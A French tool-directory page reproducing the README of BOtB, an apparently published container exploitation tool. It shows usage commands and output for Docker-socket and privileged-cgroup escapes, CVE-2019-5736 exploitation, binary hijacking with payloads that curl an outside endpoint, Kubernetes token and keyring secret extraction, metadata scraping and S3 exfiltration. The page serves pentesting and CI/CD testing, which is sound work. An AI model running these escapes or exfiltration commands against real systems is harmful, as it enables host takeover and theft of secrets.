Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
botb — Un outil d'analyse et d'exploitation de conteneurs pour les testeurs d'intrusion et les ingénieurs. | Kitploit
Outils/GitHubGitHub/brompwnie/botb
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionSécurité CloudÉvasion de Conteneur
GitHubbrompwnie/botb

botb

Un outil d'analyse et d'exploitation de conteneurs pour les testeurs d'intrusion et les ingénieurs.

Voir le dépôt
684566il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Github All Releases

Sortir de la boîte (BOtB)

BOtB est un outil d'analyse et d'exploitation de conteneurs conçu pour être utilisé par les pentesters et les ingénieurs, tout en étant compatible CI/CD avec les technologies CI/CD courantes.

Que fait-il ?

BOtB est un outil en ligne de commande qui vous permet de :

  • Exploiter les vulnérabilités courantes des conteneurs
  • Effectuer des actions courantes de post-exploitation de conteneurs
  • Fournir des capacités lorsque certains outils ou binaires ne sont pas disponibles dans le conteneur
  • Utiliser les capacités de BOtB avec les technologies CI/CD pour tester les déploiements de conteneurs
  • Effectuer les opérations ci-dessus de manière manuelle ou automatisée

Capacités actuelles

  • Effectuer une évasion de conteneur via des démons Docker exposés (docker.sock)
  • Effectuer une évasion de conteneur via CVE-2019-5736
  • Effectuer une évasion de conteneur privilégié via les CAPS et SYSCALLS activés
  • Extraire des données des trousseaux de clés du noyau Linux en abusant de l'appel système Keyctl via des profils seccomp permissifs
  • Identifier les secrets des comptes de service Kubernetes et tenter de les utiliser
  • Identifier les points de terminaison des services de métadonnées, par exemple http://169.254.169.254, http://metadata.google.internal/ et http://100.100.100.200/
  • Récupérer les informations de métadonnées des points de terminaison de métadonnées GCP
  • Analyser et identifier les chaînes sensibles dans l'ENV et les processus dans le ProcFS, par exemple /Proc/{pid}/Environ
  • Trouver et identifier les sockets de domaine UNIX
  • Identifier les sockets de domaine UNIX qui supportent HTTP
  • Trouver et identifier le démon Docker sur les sockets de domaine UNIX ou sur une interface
  • Détourner des binaires hôtes avec une charge utile personnalisée
  • Effectuer des actions en mode CI/CD et ne renvoyer que des codes de sortie > 0
  • Pousser des données vers un bucket S3
  • Forcer BOtB à toujours renvoyer un code de sortie de 0 (utile pour les CI/CD non bloquants)
  • Effectuer les opérations ci-dessus à partir des arguments en ligne de commande ou d'un fichier de configuration YAML
  • Effectuer une recherche DNS inverse

Installation

Binaires

Pour les instructions d'installation à partir des binaires, veuillez consulter la Page des versions.

Via Go

root@kitploit:~
go get github.com/brompwnie/botb

Compilation à partir des sources

Compilation de BOtB via Go :

root@kitploit:~
go build

Compilation de BOtB via Make :

root@kitploit:~
make

Utilisation

BOtB peut être compilé en un binaire pour la plateforme ciblée et prend en charge l'utilisation suivante

root@kitploit:~
./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

BOtB peut également être configuré pour charger les paramètres à partir d'un fichier YAML via le paramètre de configuration

root@kitploit:~
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

Les exemples d'utilisation suivants renverront un code de sortie > 0 par défaut lorsqu'une anomalie est détectée, ce qui est représenté par "echo $?" qui affiche le code de sortie de la dernière commande exécutée.

Identifier et extraire les secrets du trousseau de clés du noyau Linux qui n'ont pas été correctement protégés

Plus d'informations de l'auteur original ici https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

root@kitploit:~
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

Identifier et vérifier les secrets des comptes de service Kubernetes montés

root@kitploit:~
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

Évasion de conteneur via le démon Docker exposé

Cette approche permettra d'accéder à un TTY interactif sur l'hôte.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

Évasion de conteneur de manière compatible CI/CD

Cette approche ne bascule pas vers un TTY sur l'hôte mais renvoie un code de sortie > 0 pour indiquer une évasion réussie du conteneur.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1

Exploitation de CVE-2019-5736 avec une charge utile personnalisée

Veuillez noter que pour que cette exploitation fonctionne, un processus doit être exécuté dans le conteneur cible dans ce scénario.

root@kitploit:~
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

Détournement de commandes/binaires sur un hôte avec une charge utile personnalisée

Veuillez noter que cela peut être utilisé pour tester si des entités externes exécutent des commandes dans le conteneur. Les exemples incluent Docker Exec et Kubetcl CP.

root@kitploit:~
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

Trouver les sockets de domaine UNIX

root@kitploit:~
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1

Trouver un démon Docker

root@kitploit:~
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1

Analyser l'ENV et ProcFS Environ pour les chaînes sensibles

Par défaut, BOtB recherche les deux termes "secret" et "password".

root@kitploit:~
 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished

#echo $?
1

Une liste de mots peut être fournie à BOtB pour rechercher des mots-clés particuliers.

root@kitploit:~
#cat wordlist.txt 
moo

# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished

# echo $?
0

Rechercher les points de terminaison de métadonnées

Par défaut, BOtB recherche deux points de terminaison de métadonnées.

root@kitploit:~
#  ./bob_linux_amd64 -metadata=true                    
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished

# echo $?
0

BOtB peut également recevoir une liste de points de terminaison à rechercher.

root@kitploit:~
#  cat endpoints.txt 
https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished

# echo $?
1

Rechercher les sockets de domaine UNIX qui répondent à HTTP

root@kitploit:~
#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished

Extraire les données de l'instance de métadonnées GCP

root@kitploit:~
#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80

[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....

Envoyer des données vers un bucket AWS S3

root@kitploit:~
#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished

Évasion d'un conteneur privilégié

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output 
docker-desktop

Forcer BOtB à toujours réussir avec un code de sortie de 0

Ceci est utile pour les tests CI/CD non bloquants

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0

Utiliser BOtB avec un fichier de configuration YAML

Exemple de fichier YAML cfg.yml

root@kitploit:~
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets

Exécuter BOtB avec le YAML ci-dessus

root@kitploit:~
#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished

Utiliser BOtB avec CI/CD

BOtB peut être utilisé avec des technologies CI/CD qui utilisent des codes de sortie pour déterminer si les tests ont réussi ou échoué. Voici un script Shell qui exécute deux tests BOtB et les codes de sortie des deux tests sont utilisés pour définir la sortie du script Shell. Si l'un des deux tests renvoie un code de sortie > 0, le test exécutant le script Shell échouera.

root@kitploit:~
#!/bin/sh 

exitCode=0

echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?

echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?

(exit $exitCode)

Le script ci-dessus n'est pas la seule façon d'utiliser BOtB avec les technologies CI/CD, mais il pourrait également être utilisé seul et non encapsulé dans un script Shell. Un exemple de configuration YML serait :

root@kitploit:~
version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true

Voici un exemple de configuration pouvant être utilisé avec Heroku CI :

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}

Voici un exemple de configuration avec Heroku CI mais utilisant un script Shell wrapper :

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}

Problèmes, bugs et améliorations

Pour tout bug, veuillez soumettre un problème. Il existe une longue liste d'améliorations, mais veuillez soumettre un problème si vous souhaitez voir quelque chose ajouté à BOtB.

Références et ressources

Cet outil n'aurait pas été possible sans la contribution d'autres membres de la communauté ; voici une liste des ressources qui m'ont aidé.

  • https://docs.docker.com/engine/security/https/
  • https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
  • https://docs.docker.com/engine/reference/commandline/exec/
  • https://github.com/GoogleContainerTools/container-structure-test
  • https://github.com/coreos/clair
  • https://github.com/aquasecurity/docker-bench
  • https://www.cisecurity.org/benchmark/docker/
  • https://github.com/Frichetten/CVE-2019-5736-PoC
  • https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
  • https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
  • https://github.com/wagoodman/dive
  • https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
  • https://github.com/singe/container-breakouts
  • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
  • https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/

Conférences et événements

BOtB est prévu d'être présenté aux événements suivants :

  • BSides London 2019 (https://sched.co/PAwB) et les diapositives peuvent être trouvées ici https://github.com/brompwnie/bsideslondon2019
  • Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
  • DefCon 27 Cloud Village (https://cloud-village.org/)
  • Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
  • DevSecCon London 2019 (https://www.devseccon.com/london-2019/)

Licence

BOtB est sous licence Creative Commons Attribution - Pas d'Utilisation Commerciale - Partage dans les Mêmes Conditions 4.0 International (http://creativecommons.org/licenses/by-nc-sa/4.0).

Télécharger l’outil
  • https://github.com/antitree/keyctl-unmask#keyctl-unmask
  • https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/